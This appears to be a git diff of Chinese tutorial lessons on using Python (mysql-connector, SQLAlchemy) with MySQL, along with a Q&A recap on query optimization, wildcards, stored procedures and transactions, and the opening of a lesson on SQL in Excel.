3.如果你在使用mysql-connector连接的时候,系统报的错误为`authentication plugin caching_sha2`,这时你需要下载最新的版本更新来解决,点击[这里](https://dev.mysql.com/downloads/connector/python/)进行更新。
|
||||
|
||||
## 总结
|
||||
|
||||
我今天讲解了如何使用Python来操作MySQL,这里我们使用的是官方提供的mysql-connector,当然除了它之外,还有很多库可以进行选择。
|
||||
|
||||
在使用基于DB API规范的协议时,重点需要掌握Connection和Cursor这两个对象,Connection就是对数据库的连接进行管理,而Cursor是对数据库的游标进行管理,通过它们,我们可以执行具体的SQL语句,以及处理复杂的数据。
|
||||
|
||||
用Python操作MySQL,还有很多种姿势,mysql-connector只是其中一种,实际上还有另外一种方式,就是采用ORM框架。ORM的英文是Object Relational Mapping,也就是采用对象关系映射的模式,使用这种模式可以将数据库中各种数据表之间的关系映射到程序中的对象。这种模式可以屏蔽底层的数据库的细节,不需要我们与复杂的SQL语句打交道,直接采用操作对象的形式操作就可以。
|
||||
|
||||
不过如果应用数据实体少,其实没有必要使用ORM框架,针对少量对象的管理,自己实现起来也很简单,比如本篇文章中我讲到的采用官方提供的mysql-connector驱动的方式来实现CRUD。引入一个框架的学习成本很高,代码膨胀也很厉害,所以如果是相对简单的操作,完全可以自己动手来实现。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/96/d2/96cf0463992b9843ba02bb7f65cb4ed2.jpg" alt=""><br>
|
||||
使用Python对数据库进行操作,关键在于实战,所以这里我出一个练习题。请你使用Python对heros表中最大生命值大于6000的英雄进行查询,并且输出相应的属性值。
|
||||
|
||||
欢迎在评论区写下你的答案,我会与你一起交流。也欢迎把这篇文章分享给你的朋友或者同事,与它们一起交流一下。
|
||||
@@ -0,0 +1,217 @@
|
||||
<audio id="audio" title="18丨SQLAlchemy:如何使用Python ORM框架来操作MySQL?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/70/47/700dd3410ddbfc57f76a90a305d7f147.mp3"></audio>
|
||||
|
||||
上节课,我介绍了Python DB API规范的作用,以及如何使用MySQL官方的mysql-connector驱动来完成数据库的连接和使用。在项目比较小的时候,我们可以直接使用SQL语句,通过mysql-connector完成与MySQL的交互,但是任何事物都有两面性,随着项目规模的增加,代码会越来越复杂,维护的成本也越来越高,这时mysql-connector就不够用了,我们需要更好的设计模式。
|
||||
|
||||
Python还有另一种方式可以与MySQL进行交互,这种方式采用的是ORM框架。我们今天就来讲解如何使用ORM框架操作MySQL,那么今天的课程你需要掌握以下几个方面的内容:
|
||||
|
||||
1. 什么是ORM框架,以及为什么要使用ORM框架?
|
||||
1. Python中的ORM框架都有哪些?
|
||||
1. 如何使用SQLAlchemy来完成与MySQL的交互?
|
||||
|
||||
## 我们为什么要使用ORM框架?
|
||||
|
||||
在讲解ORM框架之前,我们需要先了解什么是持久化。如下图所示,持久化层在业务逻辑层和数据库层起到了衔接的作用,它可以将内存中的数据模型转化为存储模型,或者将存储模型转化为内存中的数据模型。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/b9/5b/b9dafd636ec586704bb8488d9b2faa5b.jpg" alt="">
|
||||
|
||||
你可能会想到,我们在讲事务的4大特性ACID时,提到过持久性。你可以简单地理解为,持久性就是将对象数据永久存储在数据库中。通常我们将数据库的作用理解为永久存储,将内存理解为暂时存储。我们在程序的层面操作数据,其实都是把数据放到内存中进行处理,如果需要数据就会通过持久化层,从数据库中取数据;如果需要保存数据,就是将对象数据通过持久化层存储到数据库中。
|
||||
|
||||
那么ORM解决的是什么问题呢?它提供了一种持久化模式,可以高效地对数据库进行访问。ORM的英文是Object Relation Mapping,中文叫对象关系映射。它是RDBMS和业务实体对象之间的一个映射,从图中你也能看到,它可以把底层的RDBMS封装成业务实体对象,提供给业务逻辑层使用。程序员往往关注业务逻辑层面,而不是底层数据库该如何访问,以及如何编写SQL语句获取数据等等。采用ORM,就可以从数据库的设计层面转化成面向对象的思维。
|
||||
|
||||
我在开篇的时候提到过,随着项目规模的增大,在代码层编写SQL语句访问数据库会降低开发效率,也会提升维护成本,因此越来越多的开发人员会采用基于ORM的方式来操作数据库。这样做的好处就是一旦定义好了对象模型,就可以让它们简单可复用,从而不必关注底层的数据库访问细节,我们只要将注意力集中到业务逻辑层面就可以了。由此还可以带来另一点好处,那就是即便数据库本身进行了更换,在业务逻辑代码上也不会有大的调整。这是因为ORM抽象了数据的存取,同时也兼容多种DBMS,我们不用关心底层采用的到底是哪种DBMS,是MySQL,SQL Server,PostgreSQL还是SQLite。
|
||||
|
||||
但没有一种模式是完美的,采用ORM当然也会付出一些代价,比如性能上的一些损失。面对一些复杂的数据查询,ORM会显得力不从心。虽然可以实现功能,但相比于直接编写SQL查询语句来说,ORM需要编写的代码量和花费的时间会比较多,这种情况下,直接编写SQL反而会更简单有效。
|
||||
|
||||
其实你也能看出来,没有一种方式是一劳永逸的,在实际工作中,我们需要根据需求选择适合的方式。
|
||||
|
||||
## Python中的ORM框架都有哪些
|
||||
|
||||
ORM框架帮我们适配了各种DBMS,同时我们也可以选择不同的ORM框架。如果你用Python的话,有三种主流的ORM框架。
|
||||
|
||||
第一个是Django,它是Python的WEB应用开发框架,本身走大而全的方式。Django采用了MTV的框架模式,包括了Model(模型),View(视图)和Template(模版)。Model模型只是Django的一部分功能,我们可以通过它来实现数据库的增删改查操作。
|
||||
|
||||
一个Model映射到一个数据表,如下图所示:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d9/95/d9ea5e64198554061c729ffb97561795.jpg" alt=""><br>
|
||||
从这张图上你能直观地看到,ORM的作用就是建立了对象关系映射。模型的每个属性代表数据表中的一个字段,我们通过操作类实例对象,对数据表中的数据行进行增删改查等操作。
|
||||
|
||||
第二个是SQLALchemy,它也是Python中常用的ORM框架之一。它提供了SQL工具包及ORM工具,如果你想用支持ORM和支持原生SQL两种方式的工具,那么SQLALchemy是很好的选择。另外SQLALchemy的社区更加活跃,这对项目实施会很有帮助。
|
||||
|
||||
第三个是peewee,这是一个轻量级的ORM框架,简单易用。peewee采用了Model类、Field实例和Model实例来与数据库建立映射关系,从而完成面向对象的管理方式。使用起来方便,学习成本也低。
|
||||
|
||||
## 如何使用SQLAlchemy来操作MySQL
|
||||
|
||||
下面我们来看下如何使用SQLAlchemy工具对player数据表进行增删改查,在使用前,你需要先安装相应的工具包:
|
||||
|
||||
```
|
||||
pip install sqlalchemy
|
||||
初始化数据库连接
|
||||
from sqlalchemy import create_engine
|
||||
# 初始化数据库连接,修改为你的数据库用户名和密码
|
||||
engine = create_engine('mysql+mysqlconnector://root:password@localhost:3306/wucai')
|
||||
|
||||
```
|
||||
|
||||
create_engine的使用方法类似我们在上篇文章中提到的mysql.connector,都需要提供数据库+数据库连接框架,即对应的是`mysql+mysqlconnector`,后面的是用户名:`密码@IP地址:端口号/数据库名称`。
|
||||
|
||||
### 创建模型
|
||||
|
||||
我们已经创建了player数据表,这里需要创建相应的player模型。
|
||||
|
||||
```
|
||||
# 定义Player对象:
|
||||
class Player(Base):
|
||||
# 表的名字:
|
||||
__tablename__ = 'player'
|
||||
|
||||
# 表的结构:
|
||||
player_id = Column(Integer, primary_key=True, autoincrement=True)
|
||||
team_id = Column(Integer)
|
||||
player_name = Column(String(255))
|
||||
height = Column(Float(3,2))
|
||||
|
||||
```
|
||||
|
||||
这里需要说明的是,`__tablename__` 指明了模型对应的数据表名称,即player数据表。同时我们在Player模型中对采用的变量名进行定义,变量名需要和数据表中的字段名称保持一致,否则会找不到数据表中的字段。在SQLAlchemy中,我们采用Column对字段进行定义,常用的数据类型如下:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/d6/42/d6f02460647f34fba692e8a61b80a042.png" alt=""><br>
|
||||
除了指定Column的数据类型以外,我们也可以指定Column的参数,这些参数可以帮我们对对象创建列约束:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/45/dd/458d77c980f2ac7b9e8e34dd75eac8dd.png" alt=""><br>
|
||||
这里需要说明的是,如果你使用相应的数据类型,那么需要提前在SQLAlchemy中进行引用,比如:
|
||||
|
||||
```
|
||||
from sqlalchemy import Column, String, Integer, Float
|
||||
|
||||
```
|
||||
|
||||
### 对数据表进行增删改查
|
||||
|
||||
假设我们想给player表增加一名新球员,姓名为“约翰·科林斯”,球队ID为1003(即亚特兰大老鹰),身高为2.08。代码如下:
|
||||
|
||||
```
|
||||
# 创建DBSession类型:
|
||||
DBSession = sessionmaker(bind=engine)
|
||||
# 创建session对象:
|
||||
session = DBSession()
|
||||
|
||||
|
||||
# 创建Player对象:
|
||||
new_player = Player(team_id = 1003, player_name = "约翰-科林斯", height = 2.08)
|
||||
# 添加到session:
|
||||
session.add(new_player)
|
||||
# 提交即保存到数据库:
|
||||
session.commit()
|
||||
# 关闭session:
|
||||
session.close()
|
||||
|
||||
```
|
||||
|
||||
这里,我们首先需要初始化DBSession,相当于创建一个数据库的会话实例session。通过session来完成新球员的添加。对于新球员的数据,我们可以通过Player类来完成创建,在参数中指定相应的`team_id, player_name, height`即可。
|
||||
|
||||
然后把创建好的对象new_player添加到session中,提交到数据库即可完成添加数据的操作。
|
||||
|
||||
接着,我们来看一下如何查询数据。
|
||||
|
||||
添加完插入的新球员之后,我们可以查询下身高 ≥ 2.08m的球员都有哪些,代码如下:
|
||||
|
||||
```
|
||||
#增加to_dict()方法到Base类中
|
||||
def to_dict(self):
|
||||
return {c.name: getattr(self, c.name, None)
|
||||
for c in self.__table__.columns}
|
||||
#将对象可以转化为dict类型
|
||||
Base.to_dict = to_dict
|
||||
# 查询身高>=2.08的球员有哪些
|
||||
rows = session.query(Player).filter(Player.height >= 2.08).all()
|
||||
print([row.to_dict() for row in rows])
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
[{'player_id': 10003, 'team_id': 1001, 'player_name': '安德烈-德拉蒙德', 'height': Decimal('2.1100000000')}, {'player_id': 10004, 'team_id': 1001, 'player_name': '索恩-马克', 'height': Decimal('2.1600000000')}, {'player_id': 10009, 'team_id': 1001, 'player_name': '扎扎-帕楚里亚', 'height': Decimal('2.1100000000')}, {'player_id': 10010, 'team_id': 1001, 'player_name': '乔恩-洛伊尔', 'height': Decimal('2.0800000000')}, {'player_id': 10011, 'team_id': 1001, 'player_name': '布雷克-格里芬', 'height': Decimal('2.0800000000')}, {'player_id': 10015, 'team_id': 1001, 'player_name': '亨利-埃伦森', 'height': Decimal('2.1100000000')}, {'player_id': 10023, 'team_id': 1002, 'player_name': '多曼塔斯-萨博尼斯', 'height': Decimal('2.1100000000')}, {'player_id': 10024, 'team_id': 1002, 'player_name': '迈尔斯-特纳', 'height': Decimal('2.1100000000')}, {'player_id': 10032, 'team_id': 1002, 'player_name': 'TJ-利夫', 'height': Decimal('2.0800000000')}, {'player_id': 10033, 'team_id': 1002, 'player_name': '凯尔-奥奎因', 'height': Decimal('2.0800000000')}, {'player_id': 10037, 'team_id': 1002, 'player_name': '伊凯·阿尼博古', 'height': Decimal('2.0800000000')}, {'player_id': 10038, 'team_id': 1003, 'player_name': '约翰-科林斯', 'height': Decimal('2.0800000000')}]
|
||||
|
||||
```
|
||||
|
||||
如果我们对整个数据行进行查询,采用的是`session.query(Player)`,相当于使用的是SELECT *。这时如果我们想要在Python中对query结果进行打印,可以对Base类增加`to_dict()`方法,相当于将对象转化成了Python的字典类型。
|
||||
|
||||
在进行查询的时候,我们使用的是filter方法,对应的是SQL中的WHERE条件查询。除此之外,filter也支持多条件查询。
|
||||
|
||||
如果是AND的关系,比如我们想要查询身高 ≥ 2.08,同时身高 ≤ 2.10的球员,可以写成下面这样:
|
||||
|
||||
```
|
||||
rows = session.query(Player).filter(Player.height >=2.08, Player.height <=2.10).all()
|
||||
|
||||
```
|
||||
|
||||
如果是OR的关系,比如我们想要查询身高 ≥ 2.08,或者身高 ≤ 2.10的球员,可以写成这样:
|
||||
|
||||
```
|
||||
rows = session.query(Player).filter(or_(Player.height >=2.08, Player.height <=2.10)).all()
|
||||
|
||||
```
|
||||
|
||||
这里我们使用了SQLAlchemy的or_操作符,在使用它之前你需要进行引入,即:`from sqlalchemy import or_`。
|
||||
|
||||
除了多条件查询,SQLAlchemy也同样支持分组操作、排序和返回指定数量的结果。
|
||||
|
||||
比如我想要按照team_id进行分组,同时筛选分组后数据行数大于5的分组,并且按照分组后数据行数递增的顺序进行排序,显示team_id字段,以及每个分组的数据行数。那么代码如下:
|
||||
|
||||
```
|
||||
from sqlalchemy import func
|
||||
rows = session.query(Player.team_id, func.count(Player.player_id)).group_by(Player.team_id).having(func.count(Player.player_id)>5).order_by(func.count(Player.player_id).asc()).all()
|
||||
print(rows)
|
||||
|
||||
```
|
||||
|
||||
运行结果:
|
||||
|
||||
```
|
||||
[(1001, 20), (1002, 17)]
|
||||
|
||||
```
|
||||
|
||||
这里有几点需要注意:
|
||||
|
||||
1. 我们把需要显示的字段Player.team_id, func.count(Player.player_id)作为query的参数,其中我们需要用到sqlalchemy的func类,它提供了各种聚集函数,比如func.count函数。
|
||||
1. 在query()后面使用了group_by()进行分组,参数设置为Player.team_id字段,再使用having对分组条件进行筛选,参数为`func.count(Player.player_id)>5`。
|
||||
1. 使用order_by进行排序,参数为`func.count(Player.player_id).asc()`,也就是按照分组后的数据行数递增的顺序进行排序,最后使用.all()方法需要返回全部的数据。
|
||||
|
||||
你能看到SQLAlchemy使用的规则和使用SELECT语句的规则差不多,只是封装到了类中作为方法进行调用。
|
||||
|
||||
接着,我们再来看下如何删除数据。如果我们想要删除某些数据,需要先进行查询,然后再从session中把这些数据删除掉。
|
||||
|
||||
比如我们想要删除姓名为约翰·科林斯的球员,首先我们需要进行查询,然后从session对象中进行删除,最后进行commit提交,代码如下:
|
||||
|
||||
```
|
||||
row = session.query(Player).filter(Player.player_name=='约翰-科林斯').first()
|
||||
session.delete(row)
|
||||
session.commit()
|
||||
session.close()
|
||||
|
||||
```
|
||||
|
||||
需要说明的是,判断球员姓名是否为约翰·科林斯,这里需要使用(==)。
|
||||
|
||||
同样,如果我们想要修改某条数据,也需要进行查询,然后再进行修改。比如我想把球员索恩·马克的身高改成2.17,那么执行完之后直接对session对象进行commit操作,代码如下:
|
||||
|
||||
```
|
||||
row = session.query(Player).filter(Player.player_name=='索恩-马克').first()
|
||||
row.height = 2.17
|
||||
session.commit()
|
||||
session.close()
|
||||
|
||||
```
|
||||
|
||||
## 总结
|
||||
|
||||
今天我们使用SQLAlalchemy对MySQL进行了操作,你能看到这些实现并不复杂,只是需要事先掌握一些使用方法,尤其是如何创建seesion对象,以及如何通过session对象来完成对数据的增删改查等操作。建议你把文章里的代码都跑一遍,在运行的过程中一定会有更深入的体会。
|
||||
|
||||
当然除了学习掌握SQLAlalchemy这个Python ORM工具以外,我还希望你能了解到ORM的价值和不足。如果项目本身不大,那么自己动手写SQL语句会比较简单,你可以不使用ORM工具,而是直接使用上节课讲到的mysql-connector。但是随着项目代码量的增加,为了在业务逻辑层与数据库底层进行松耦合,采用ORM框架是更加适合的。
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/6c/f3/6cffd2ac3be05210ace5cd753ee4aff3.jpg" alt=""><br>
|
||||
我今天讲解了SQLAlalchemy工具的使用,为了更好地让你理解,我出一道练习题吧。还是针对player数据表,请你使用SQLAlalchemy工具查询身高为2.08米的球员,并且将这些球员的身高修改为2.09。
|
||||
|
||||
欢迎你在评论区写下你的答案,也欢迎把这篇文章分享给你的朋友或者同事,一起交流。
|
||||
238
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/19丨基础篇总结:如何理解查询优化、通配符以及存储过程?.md
Normal file
238
极客时间专栏/geek/SQL必知必会/第一章:SQL语法基础篇/19丨基础篇总结:如何理解查询优化、通配符以及存储过程?.md
Normal file
@@ -0,0 +1,238 @@
|
||||
<audio id="audio" title="19丨基础篇总结:如何理解查询优化、通配符以及存储过程?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/92/2e/921c35d2baa0e77404aa5537e2e22a2e.mp3"></audio>
|
||||
|
||||
到这一篇的时候,意味着SQL专栏的基础部分正式更新完毕。在文章更新的时候,谢谢大家积极地评论和提问,让专栏增色不少。我总结了一些基础篇的常见问题,希望能对你有所帮助。答疑篇主要包括了DBMS、查询优化、存储过程、事务处理等一些问题。
|
||||
|
||||
## 关于各种DBMS的介绍
|
||||
|
||||
### 答疑1
|
||||
|
||||
文章中有句话不太理解,“列式数据库是将数据按照列存储到数据库中,这样做的好处是可以大量降低系统的 I/O”,可以解释一些“降低系统I/O”是什么意思吗?
|
||||
|
||||
### 解答
|
||||
|
||||
行式存储是把一行的数据都串起来进行存储,然后再存储下一行。同样,列式存储是把一列的数据都串起来进行存储,然后再存储下一列。这样做的话,相邻数据的数据类型都是一样的,更容易压缩,压缩之后就自然降低了I/O。
|
||||
|
||||
我们还需要从数据处理的需求出发,去理解行式存储和列式存储。数据处理可以分为OLTP(联机事务处理)和OLAP(联机分析处理)两大类。
|
||||
|
||||
OLTP一般用于处理客户的事务和进行查询,需要随时对数据表中的记录进行增删改查,对实时性要求高。
|
||||
|
||||
OLAP一般用于市场的数据分析,通常数据量大,需要进行复杂的分析操作,可以对大量历史数据进行汇总和分析,对实时性要求不高。
|
||||
|
||||
那么对于OLTP来说,由于随时需要对数据记录进行增删改查,更适合采用行式存储,因为一行数据的写入会同时修改多个列。传统的RDBMS都属于行式存储,比如Oracle、SQL Server和MySQL等。
|
||||
|
||||
对于OLAP来说,由于需要对大量历史数据进行汇总和分析,则适合采用列式存储,这样的话汇总数据会非常快,但是对于插入(INSERT)和更新(UPDATE)会比较麻烦,相比于行式存储性能会差不少。
|
||||
|
||||
所以说列式存储适合大批量数据查询,可以降低I/O,但如果对实时性要求高,则更适合行式存储。
|
||||
|
||||
## 关于查询优化
|
||||
|
||||
### 答疑1
|
||||
|
||||
在MySQL中统计数据表的行数,可以使用三种方式:`SELECT COUNT(*)`、`SELECT COUNT(1)`和`SELECT COUNT(具体字段)`,使用这三者之间的查询效率是怎样的?之前看到说是:`SELECT COUNT(*)`> `SELECT COUNT(1)`> `SELECT COUNT(具体字段)`。
|
||||
|
||||
### 解答
|
||||
|
||||
在MySQL InnoDB存储引擎中,`COUNT(*)`和`COUNT(1)`都是对所有结果进行`COUNT`。如果有WHERE子句,则是对所有符合筛选条件的数据行进行统计;如果没有WHERE子句,则是对数据表的数据行数进行统计。
|
||||
|
||||
因此`COUNT(*)`和`COUNT(1)`本质上并没有区别,执行的复杂度都是`O(N)`,也就是采用全表扫描,进行循环+计数的方式进行统计。
|
||||
|
||||
如果是MySQL MyISAM存储引擎,统计数据表的行数只需要`O(1)`的复杂度,这是因为每张MyISAM的数据表都有一个meta信息存储了`row_count`值,而一致性则由表级锁来保证。因为InnoDB支持事务,采用行级锁和MVCC机制,所以无法像MyISAM一样,只维护一个`row_count`变量,因此需要采用扫描全表,进行循环+计数的方式来完成统计。
|
||||
|
||||
需要注意的是,在实际执行中,`COUNT(*)`和`COUNT(1)`的执行时间可能略有差别,不过你还是可以把它俩的执行效率看成是相等的。
|
||||
|
||||
另外在InnoDB引擎中,如果采用`COUNT(*)`和`COUNT(1)`来统计数据行数,要尽量采用二级索引。因为主键采用的索引是聚簇索引,聚簇索引包含的信息多,明显会大于二级索引(非聚簇索引)。对于`COUNT(*)`和`COUNT(1)`来说,它们不需要查找具体的行,只是统计行数,系统会自动采用占用空间更小的二级索引来进行统计。
|
||||
|
||||
然而如果想要查找具体的行,那么采用主键索引的效率更高。如果有多个二级索引,会使用key_len小的二级索引进行扫描。当没有二级索引的时候,才会采用主键索引来进行统计。
|
||||
|
||||
这里我总结一下:
|
||||
|
||||
1. 一般情况下,三者执行的效率为 `COUNT(*)`= `COUNT(1)`> `COUNT(字段)`。我们尽量使用`COUNT(*)`,当然如果你要统计的是某个字段的非空数据行数,则另当别论,毕竟比较执行效率的前提是结果一样才可以。
|
||||
1. 如果要统计`COUNT(*)`,尽量在数据表上建立二级索引,系统会自动采用`key_len`小的二级索引进行扫描,这样当我们使用`SELECT COUNT(*)`的时候效率就会提升,有时候可以提升几倍甚至更高。
|
||||
|
||||
### 答疑2
|
||||
|
||||
在MySQL中,`LIMIT`关键词是最后执行的,如果可以确定只有一条结果,那么就起不到查询优化的效果了吧,因为`LIMIT`是对最后的结果集过滤,如果结果集本来就只有一条,那就没有什么用了。
|
||||
|
||||
### 解答
|
||||
|
||||
如果你可以确定结果集只有一条,那么加上`LIMIT 1`的时候,当找到一条结果的时候就不会继续扫描了,这样会加快查询速度。这里指的查询优化针对的是会扫描全表的SQL语句,如果数据表已经对字段建立了唯一索引,那么可以通过索引进行查询,不会全表扫描的话,就不需要加上`LIMIT 1`了。
|
||||
|
||||
## 关于通配符的解释
|
||||
|
||||
关于查询语句中通配符的使用理解,我举了一个查询英雄名除了第一个字以外,包含“太”字的英雄都有谁的例子,使用的SQL语句是:
|
||||
|
||||
```
|
||||
SQL> SELECT name FROM heros WHERE name LIKE '_%太%'
|
||||
|
||||
```
|
||||
|
||||
(_)匹配任意一个字符,(%) 匹配大于等于0个任意字符。
|
||||
|
||||
所以通配符`'_%太%'`说明在第一个字符之后需要有“太”字,这里就不能匹配上“太乙真人”,但是可以匹配上“东皇太一”。如果数据表中有“太乙真人太太”,那么结果集中也可以匹配到。
|
||||
|
||||
另外,单独的`LIKE '%'`无法查出NULL值,比如:`SELECT * FROM heros WHERE role_assist LIKE '%'`。
|
||||
|
||||
### 答疑4
|
||||
|
||||
可以理解在WHERE条件字段上加索引,但是为什么在ORDER BY字段上还要加索引呢?这个时候已经通过WHERE条件过滤得到了数据,已经不需要再筛选过滤数据了,只需要根据字段排序就好了。
|
||||
|
||||
### 解答
|
||||
|
||||
在MySQL中,支持两种排序方式,分别是FileSort和Index排序。在Index排序中,索引可以保证数据的有序性,不需要再进行排序,效率更高。而FileSort排序则一般在内存中进行排序,占用CPU较多。如果待排结果较大,会产生临时文件I/O到磁盘进行排序的情况,效率较低。
|
||||
|
||||
所以使用ORDER BY子句时,应该尽量使用Index排序,避免使用FileSort排序。当然你可以使用explain来查看执行计划,看下优化器是否采用索引进行排序。
|
||||
|
||||
优化建议:
|
||||
|
||||
1. SQL中,可以在WHERE子句和ORDER BY子句中使用索引,目的是在WHERE子句中避免全表扫描,在ORDER BY子句避免使用FileSort排序。当然,某些情况下全表扫描,或者FileSort排序不一定比索引慢。但总的来说,我们还是要避免,以提高查询效率。一般情况下,优化器会帮我们进行更好的选择,当然我们也需要建立合理的索引。
|
||||
1. 尽量使用Index完成ORDER BY排序。如果WHERE和ORDER BY后面是相同的列就使用单索引列;如果不同就使用联合索引。
|
||||
1. 无法使用Index时,需要对FileSort方式进行调优。
|
||||
|
||||
### 答疑5
|
||||
|
||||
ORDER BY是对分的组排序还是对分组中的记录排序呢?
|
||||
|
||||
### 解答
|
||||
|
||||
ORDER BY就是对记录进行排序。如果你在ORDER BY前面用到了GROUP BY,实际上这是一种分组的聚合方式,已经把一组的数据聚合成为了一条记录,再进行排序的时候,相当于对分的组进行了排序。
|
||||
|
||||
### 答疑6
|
||||
|
||||
请问下关于SELECT语句内部的执行步骤。
|
||||
|
||||
### 解答
|
||||
|
||||
一条完整的SELECT语句内部的执行顺序是这样的:
|
||||
|
||||
1. FROM子句组装数据(包括通过ON进行连接);
|
||||
1. WHERE子句进行条件筛选;
|
||||
1. GROUP BY分组 ;
|
||||
1. 使用聚集函数进行计算;
|
||||
1. HAVING筛选分组;
|
||||
1. 计算所有的表达式;
|
||||
1. SELECT 的字段;
|
||||
1. ORDER BY排序;
|
||||
1. LIMIT筛选。
|
||||
|
||||
### 答疑7
|
||||
|
||||
不太理解哪种情况下应该使用EXISTS,哪种情况应该用IN。选择的标准是看能否使用表的索引吗?
|
||||
|
||||
### 解答
|
||||
|
||||
索引是个前提,其实选择与否还是要看表的大小。你可以将选择的标准理解为小表驱动大表。在这种方式下效率是最高的。
|
||||
|
||||
比如下面这样:
|
||||
|
||||
```
|
||||
SELECT * FROM A WHERE cc IN (SELECT cc FROM B)
|
||||
SELECT * FROM A WHERE EXISTS (SELECT cc FROM B WHERE B.cc=A.cc)
|
||||
|
||||
```
|
||||
|
||||
当A小于B时,用EXISTS。因为EXISTS的实现,相当于外表循环,实现的逻辑类似于:
|
||||
|
||||
```
|
||||
for i in A
|
||||
for j in B
|
||||
if j.cc == i.cc then ...
|
||||
|
||||
```
|
||||
|
||||
当B小于A时用IN,因为实现的逻辑类似于:
|
||||
|
||||
```
|
||||
for i in B
|
||||
for j in A
|
||||
if j.cc == i.cc then ...
|
||||
|
||||
```
|
||||
|
||||
哪个表小就用哪个表来驱动,A表小就用EXISTS,B表小就用IN。
|
||||
|
||||
## 关于存储过程
|
||||
|
||||
### 答疑1
|
||||
|
||||
在使用存储过程声明变量时,都支持哪些数据类型呢?
|
||||
|
||||
### 解答
|
||||
|
||||
不同的DBMS对数据类型的定义不同,你需要查询相关的DBMS文档。以MySQL为例,常见的数据类型可以分成三类,分别是数值类型、字符串类型和日期/时间类型。
|
||||
|
||||
### 答疑2
|
||||
|
||||
“IN参数必须在调用存储过程时指定”的含义是什么?我查询了MySQL的存储过程定义,可以不包含 IN 参数。当存储过程的定义语句里有 IN 参数时,存储过程的语句中必须用到这个参数吗?
|
||||
|
||||
### 解答
|
||||
|
||||
如果存储过程定义了IN参数,就需要在调用的时候传入。当然在定义存储过程的时候,如果不指定参数类型,就默认是IN类型的参数。因为IN参数在存储过程中是默认值,可以省略不写。比如下面两种定义方式都是一样的:
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `add_num`(IN n INT)
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
CREATE PROCEDURE `add_num`(n INT)
|
||||
|
||||
```
|
||||
|
||||
在存储过程中的语句里,不一定要用到IN参数,只是在调用的时候需要传入这个。另外IN参数在存储过程中进行了修改,也不会进行返回的。如果想要返回参数,需要使用OUT,或者INOUT参数类型。
|
||||
|
||||
## 关于事务处理
|
||||
|
||||
### 答疑1
|
||||
|
||||
如果`INSERT INTO test SELECT '关羽';`之后没有执行COMMIT,结果应该是空。但是我执行出来的结果是`'关羽'`,为什么ROLLBACK没有全部回滚?
|
||||
|
||||
代码如下:
|
||||
|
||||
```
|
||||
CREATE TABLE test(name varchar(255), PRIMARY KEY (name)) ENGINE=InnoDB;
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '关羽';
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '张飞';
|
||||
INSERT INTO test SELECT '张飞';
|
||||
ROLLBACK;
|
||||
SELECT * FROM test;
|
||||
|
||||
```
|
||||
|
||||
### 解答
|
||||
|
||||
先解释下连续BEGIN的情况。
|
||||
|
||||
在MySQL中BEGIN用于开启事务,如果是连续BEGIN,当开启了第一个事务,还没有进行COMMIT提交时,会直接进行第二个事务的BEGIN,这时数据库会隐式地COMMIT第一个事务,然后再进入到第二个事务。
|
||||
|
||||
为什么ROLLBACK没有全部回滚呢?
|
||||
|
||||
因为ROLLBACK是针对当前事务的,在BEGIN之后已经开启了第二个事务,当遇到ROLLBACK的时候,第二个事务都进行了回滚,也就得到了第一个事务执行之后的结果即“关羽”。
|
||||
|
||||
关于事务的ACID,以及我们使用COMMIT和ROLLBACK来控制事务的时候,有一个容易出错的地方。
|
||||
|
||||
在一个事务的执行过程中可能会失败。遇到失败的时候是进行回滚,还是将事务执行过程中已经成功操作的来进行提交,这个逻辑是需要开发者自己来控制的。
|
||||
|
||||
这里开发者可以决定,如果遇到了小错误是直接忽略,提交事务,还是遇到任何错误都进行回滚。如果我们强行进行COMMIT,数据库会将这个事务中成功的操作进行提交,它会认为你觉得已经是ACID了(就是你认为可以做COMMIT了,即使遇到了一些小问题也是可以忽略的)。
|
||||
|
||||
我在今天的文章里重点解答了一些问题,还有一些未解答的会留在评论里进行回复。最后出一道思考题吧。
|
||||
|
||||
请你自己写出下面操作的运行结果(你可以把它作为一道笔试题,自己写出结果,再与实际的运行结果进行比对):
|
||||
|
||||
```
|
||||
DROP TABLE IF EXISTS test;
|
||||
CREATE TABLE test(name varchar(255), PRIMARY KEY (name)) ENGINE=InnoDB;
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '关羽';
|
||||
BEGIN;
|
||||
INSERT INTO test SELECT '张飞';
|
||||
INSERT INTO test SELECT '张飞';
|
||||
COMMIT;
|
||||
SELECT * FROM test;
|
||||
|
||||
```
|
||||
|
||||
欢迎你在评论区写下你的思考,我会与你一起交流,也欢迎把这篇文章分享给你的朋友或者同事,一起交流一下。
|
||||
|
||||
|
||||
157
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/38丨如何在Excel中使用SQL语言?.md
Normal file
157
极客时间专栏/geek/SQL必知必会/第三章:认识DBMS/38丨如何在Excel中使用SQL语言?.md
Normal file
@@ -0,0 +1,157 @@
|
||||
<audio id="audio" title="38丨如何在Excel中使用SQL语言?" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/34/bd/3499f47bf96798dd8722bd4569d35bbd.mp3"></audio>
|
||||
|
||||
在进阶篇中,我们对设计范式、索引、页结构、事务以及查询优化器的原理进行了学习,了解这些可以让我们更好地使用SQL来操作RDBMS。实际上SQL的影响力远不止于此,在数据的世界里,SQL更像是一门通用的语言,虽然每种工具都会有一些自己的“方言”,但是掌握SQL可以让我们接触其它以数据为核心的工具时,更加游刃有余。
|
||||
|
||||
比如Excel。
|
||||
|
||||
你一定使用过Excel,事实上,Excel的某些部分同样支持我们使用SQL语言,那么具体该如何操作呢?
|
||||
|
||||
今天的课程主要包括以下几方面的内容:
|
||||
|
||||
1. 如何在Excel中获取外部数据源?
|
||||
